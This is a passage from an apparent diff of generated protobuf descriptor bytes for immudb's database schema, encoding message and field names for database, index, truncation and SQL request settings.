0x66, 0x12, 0x1e, 0x0a, 0x0a, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x49, 0x64, 0x18, - 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0a, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x49, - 0x64, 0x12, 0x18, 0x0a, 0x07, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x49, 0x64, 0x18, 0x05, 0x20, 0x01, - 0x28, 0x0d, 0x52, 0x07, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x49, 0x64, 0x12, 0x14, 0x0a, 0x05, 0x50, - 0x4b, 0x49, 0x44, 0x73, 0x18, 0x10, 0x20, 0x03, 0x28, 0x0d, 0x52, 0x05, 0x50, 0x4b, 0x49, 0x44, - 0x73, 0x12, 0x57, 0x0a, 0x0c, 0x43, 0x6f, 0x6c, 0x4e, 0x61, 0x6d, 0x65, 0x73, 0x42, 0x79, 0x49, - 0x64, 0x18, 0x08, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x33, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x32, 0x52, 0x14, 0x70, 0x72, 0x65, 0x66, 0x65, 0x74, 0x63, 0x68, 0x54, 0x78, 0x42, 0x75, 0x66, + 0x66, 0x65, 0x72, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x61, 0x0a, 0x1c, 0x72, 0x65, 0x70, 0x6c, 0x69, + 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x43, 0x6f, 0x6e, 0x63, + 0x75, 0x72, 0x72, 0x65, 0x6e, 0x63, 0x79, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, + 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x1c, 0x72, 0x65, + 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x43, + 0x6f, 0x6e, 0x63, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x63, 0x79, 0x12, 0x49, 0x0a, 0x11, 0x61, 0x6c, + 0x6c, 0x6f, 0x77, 0x54, 0x78, 0x44, 0x69, 0x73, 0x63, 0x61, 0x72, 0x64, 0x69, 0x6e, 0x67, 0x18, + 0x0b, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x42, 0x6f, + 0x6f, 0x6c, 0x52, 0x11, 0x61, 0x6c, 0x6c, 0x6f, 0x77, 0x54, 0x78, 0x44, 0x69, 0x73, 0x63, 0x61, + 0x72, 0x64, 0x69, 0x6e, 0x67, 0x12, 0x4b, 0x0a, 0x12, 0x73, 0x6b, 0x69, 0x70, 0x49, 0x6e, 0x74, + 0x65, 0x67, 0x72, 0x69, 0x74, 0x79, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x18, 0x0c, 0x20, 0x01, 0x28, + 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x42, 0x6f, 0x6f, 0x6c, 0x52, 0x12, + 0x73, 0x6b, 0x69, 0x70, 0x49, 0x6e, 0x74, 0x65, 0x67, 0x72, 0x69, 0x74, 0x79, 0x43, 0x68, 0x65, + 0x63, 0x6b, 0x12, 0x45, 0x0a, 0x0f, 0x77, 0x61, 0x69, 0x74, 0x46, 0x6f, 0x72, 0x49, 0x6e, 0x64, + 0x65, 0x78, 0x69, 0x6e, 0x67, 0x18, 0x0d, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, + 0x61, 0x62, 0x6c, 0x65, 0x42, 0x6f, 0x6f, 0x6c, 0x52, 0x0f, 0x77, 0x61, 0x69, 0x74, 0x46, 0x6f, + 0x72, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x69, 0x6e, 0x67, 0x22, 0xc2, 0x01, 0x0a, 0x1a, 0x54, 0x72, + 0x75, 0x6e, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, + 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x4d, 0x0a, 0x0f, 0x72, 0x65, 0x74, 0x65, + 0x6e, 0x74, 0x69, 0x6f, 0x6e, 0x50, 0x65, 0x72, 0x69, 0x6f, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x0b, 0x32, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x4d, 0x69, 0x6c, 0x6c, 0x69, 0x73, + 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x73, 0x52, 0x0f, 0x72, 0x65, 0x74, 0x65, 0x6e, 0x74, 0x69, 0x6f, + 0x6e, 0x50, 0x65, 0x72, 0x69, 0x6f, 0x64, 0x12, 0x55, 0x0a, 0x13, 0x74, 0x72, 0x75, 0x6e, 0x63, + 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x46, 0x72, 0x65, 0x71, 0x75, 0x65, 0x6e, 0x63, 0x79, 0x18, 0x02, + 0x20, 0x01, 0x28, 0x0b, 0x32, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x4d, 0x69, 0x6c, + 0x6c, 0x69, 0x73, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x73, 0x52, 0x13, 0x74, 0x72, 0x75, 0x6e, 0x63, + 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x46, 0x72, 0x65, 0x71, 0x75, 0x65, 0x6e, 0x63, 0x79, 0x22, 0x99, + 0x09, 0x0a, 0x15, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, + 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x45, 0x0a, 0x0e, 0x66, 0x6c, 0x75, 0x73, + 0x68, 0x54, 0x68, 0x72, 0x65, 0x73, 0x68, 0x6f, 0x6c, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, + 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, + 0x0e, 0x66, 0x6c, 0x75, 0x73, 0x68, 0x54, 0x68, 0x72, 0x65, 0x73, 0x68, 0x6f, 0x6c, 0x64, 0x12, + 0x43, 0x0a, 0x0d, 0x73, 0x79, 0x6e, 0x63, 0x54, 0x68, 0x72, 0x65, 0x73, 0x68, 0x6f, 0x6c, 0x64, + 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, + 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0d, 0x73, 0x79, 0x6e, 0x63, 0x54, 0x68, 0x72, 0x65, 0x73, + 0x68, 0x6f, 0x6c, 0x64, 0x12, 0x3b, 0x0a, 0x09, 0x63, 0x61, 0x63, 0x68, 0x65, 0x53, 0x69, 0x7a, + 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, + 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x09, 0x63, 0x61, 0x63, 0x68, 0x65, 0x53, 0x69, 0x7a, + 0x65, 0x12, 0x3f, 0x0a, 0x0b, 0x6d, 0x61, 0x78, 0x4e, 0x6f, 0x64, 0x65, 0x53, 0x69, 0x7a, 0x65, + 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, + 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0b, 0x6d, 0x61, 0x78, 0x4e, 0x6f, 0x64, 0x65, 0x53, 0x69, + 0x7a, 0x65, 0x12, 0x4d, 0x0a, 0x12, 0x6d, 0x61, 0x78, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x53, + 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x73, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, + 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x12, 0x6d, + 0x61, 0x78, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x53, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, + 0x73, 0x12, 0x4d, 0x0a, 0x12, 0x72, 0x65, 0x6e, 0x65, 0x77, 0x53, 0x6e, 0x61, 0x70, 0x52, 0x6f, + 0x6f, 0x74, 0x41, 0x66, 0x74, 0x65, 0x72, 0x18, 0x06, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, + 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x36, 0x34, 0x52, 0x12, 0x72, 0x65, + 0x6e, 0x65, 0x77, 0x53, 0x6e, 0x61, 0x70, 0x52, 0x6f, 0x6f, 0x74, 0x41, 0x66, 0x74, 0x65, 0x72, + 0x12, 0x45, 0x0a, 0x0e, 0x63, 0x6f, 0x6d, 0x70, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x54, 0x68, + 0x6c, 0x64, 0x18, 0x07, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, + 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0e, 0x63, 0x6f, 0x6d, 0x70, 0x61, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x54, 0x68, 0x6c, 0x64, 0x12, 0x53, 0x0a, 0x15, 0x64, 0x65, 0x6c, 0x61, 0x79, + 0x44, 0x75, 0x72, 0x69, 0x6e, 0x67, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x18, 0x08, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, + 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x15, 0x64, 0x65, 0x6c, 0x61, 0x79, 0x44, 0x75, 0x72, 0x69, + 0x6e, 0x67, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x55, 0x0a, 0x16, + 0x6e, 0x6f, 0x64, 0x65, 0x73, 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, 0x65, + 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, + 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x16, 0x6e, 0x6f, 0x64, + 0x65, 0x73, 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, + 0x6c, 0x65, 0x73, 0x12, 0x59, 0x0a, 0x18, 0x68, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x4c, 0x6f, + 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x18, + 0x0a, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, + 0x6e, 0x74, 0x33, 0x32, 0x52, 0x18, 0x68, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x4c, 0x6f, 0x67, + 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x57, + 0x0a, 0x17, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, + 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x0b, 0x32, + 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x17, + 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, + 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x47, 0x0a, 0x0f, 0x66, 0x6c, 0x75, 0x73, 0x68, + 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x0c, 0x20, 0x01, 0x28, 0x0b, + 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, + 0x0f, 0x66, 0x6c, 0x75, 0x73, 0x68, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x53, 0x69, 0x7a, 0x65, + 0x12, 0x4a, 0x0a, 0x11, 0x63, 0x6c, 0x65, 0x61, 0x6e, 0x75, 0x70, 0x50, 0x65, 0x72, 0x63, 0x65, + 0x6e, 0x74, 0x61, 0x67, 0x65, 0x18, 0x0d, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1c, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, + 0x61, 0x62, 0x6c, 0x65, 0x46, 0x6c, 0x6f, 0x61, 0x74, 0x52, 0x11, 0x63, 0x6c, 0x65, 0x61, 0x6e, + 0x75, 0x70, 0x50, 0x65, 0x72, 0x63, 0x65, 0x6e, 0x74, 0x61, 0x67, 0x65, 0x12, 0x3f, 0x0a, 0x0b, + 0x6d, 0x61, 0x78, 0x42, 0x75, 0x6c, 0x6b, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x0e, 0x20, 0x01, 0x28, + 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, + 0x52, 0x0b, 0x6d, 0x61, 0x78, 0x42, 0x75, 0x6c, 0x6b, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x5b, 0x0a, + 0x16, 0x62, 0x75, 0x6c, 0x6b, 0x50, 0x72, 0x65, 0x70, 0x61, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, + 0x54, 0x69, 0x6d, 0x65, 0x6f, 0x75, 0x74, 0x18, 0x0f, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x23, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, + 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x4d, 0x69, 0x6c, 0x6c, 0x69, 0x73, 0x65, 0x63, 0x6f, 0x6e, + 0x64, 0x73, 0x52, 0x16, 0x62, 0x75, 0x6c, 0x6b, 0x50, 0x72, 0x65, 0x70, 0x61, 0x72, 0x61, 0x74, + 0x69, 0x6f, 0x6e, 0x54, 0x69, 0x6d, 0x65, 0x6f, 0x75, 0x74, 0x22, 0xa3, 0x01, 0x0a, 0x13, 0x41, + 0x48, 0x54, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, + 0x67, 0x73, 0x12, 0x43, 0x0a, 0x0d, 0x73, 0x79, 0x6e, 0x63, 0x54, 0x68, 0x72, 0x65, 0x73, 0x68, + 0x6f, 0x6c, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, + 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0d, 0x73, 0x79, 0x6e, 0x63, 0x54, 0x68, + 0x72, 0x65, 0x73, 0x68, 0x6f, 0x6c, 0x64, 0x12, 0x47, 0x0a, 0x0f, 0x77, 0x72, 0x69, 0x74, 0x65, + 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, + 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, + 0x0f, 0x77, 0x72, 0x69, 0x74, 0x65, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x53, 0x69, 0x7a, 0x65, + 0x22, 0x31, 0x0a, 0x13, 0x4c, 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, + 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, + 0x61, 0x73, 0x65, 0x22, 0x32, 0x0a, 0x14, 0x4c, 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, 0x61, 0x62, + 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, + 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, + 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x22, 0x33, 0x0a, 0x15, 0x55, 0x6e, 0x6c, 0x6f, 0x61, + 0x64, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x22, 0x34, 0x0a, 0x16, + 0x55, 0x6e, 0x6c, 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, + 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, + 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, + 0x73, 0x65, 0x22, 0x33, 0x0a, 0x15, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, + 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x64, + 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, + 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x22, 0x34, 0x0a, 0x16, 0x44, 0x65, 0x6c, 0x65, 0x74, + 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, + 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x22, 0x59, 0x0a, + 0x11, 0x46, 0x6c, 0x75, 0x73, 0x68, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x12, 0x2c, 0x0a, 0x11, 0x63, 0x6c, 0x65, 0x61, 0x6e, 0x75, 0x70, 0x50, 0x65, 0x72, + 0x63, 0x65, 0x6e, 0x74, 0x61, 0x67, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x02, 0x52, 0x11, 0x63, + 0x6c, 0x65, 0x61, 0x6e, 0x75, 0x70, 0x50, 0x65, 0x72, 0x63, 0x65, 0x6e, 0x74, 0x61, 0x67, 0x65, + 0x12, 0x16, 0x0a, 0x06, 0x73, 0x79, 0x6e, 0x63, 0x65, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, + 0x52, 0x06, 0x73, 0x79, 0x6e, 0x63, 0x65, 0x64, 0x22, 0x30, 0x0a, 0x12, 0x46, 0x6c, 0x75, 0x73, + 0x68, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1a, + 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x22, 0x25, 0x0a, 0x05, 0x54, 0x61, + 0x62, 0x6c, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x74, 0x61, 0x62, 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x74, 0x61, 0x62, 0x6c, 0x65, 0x4e, 0x61, 0x6d, + 0x65, 0x22, 0x88, 0x01, 0x0a, 0x0d, 0x53, 0x51, 0x4c, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x12, 0x14, 0x0a, 0x05, 0x74, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x05, 0x74, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x33, 0x0a, 0x08, 0x70, 0x6b, 0x56, + 0x61, 0x6c, 0x75, 0x65, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x56, + 0x61, 0x6c, 0x75, 0x65, 0x52, 0x08, 0x70, 0x6b, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x12, 0x12, + 0x0a, 0x04, 0x61, 0x74, 0x54, 0x78, 0x18, 0x03, 0x20, 0x01, 0x28, 0x04, 0x52, 0x04, 0x61, 0x74, + 0x54, 0x78, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x04, 0x20, + 0x01, 0x28, 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x22, 0x81, 0x01, 0x0a, + 0x17, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x47, 0x65, + 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x42, 0x0a, 0x0d, 0x73, 0x71, 0x6c, 0x47, + 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, + 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x53, 0x51, 0x4c, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x0d, 0x73, + 0x71, 0x6c, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x22, 0x0a, 0x0c, + 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, + 0x28, 0x04, 0x52, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, + 0x22, 0x79, 0x0a, 0x08, 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x0e, 0x0a, 0x02, + 0x74, 0x78, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x02, 0x74, 0x78, 0x12, 0x10, 0x0a, 0x03, + 0x6b, 0x65, 0x79, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 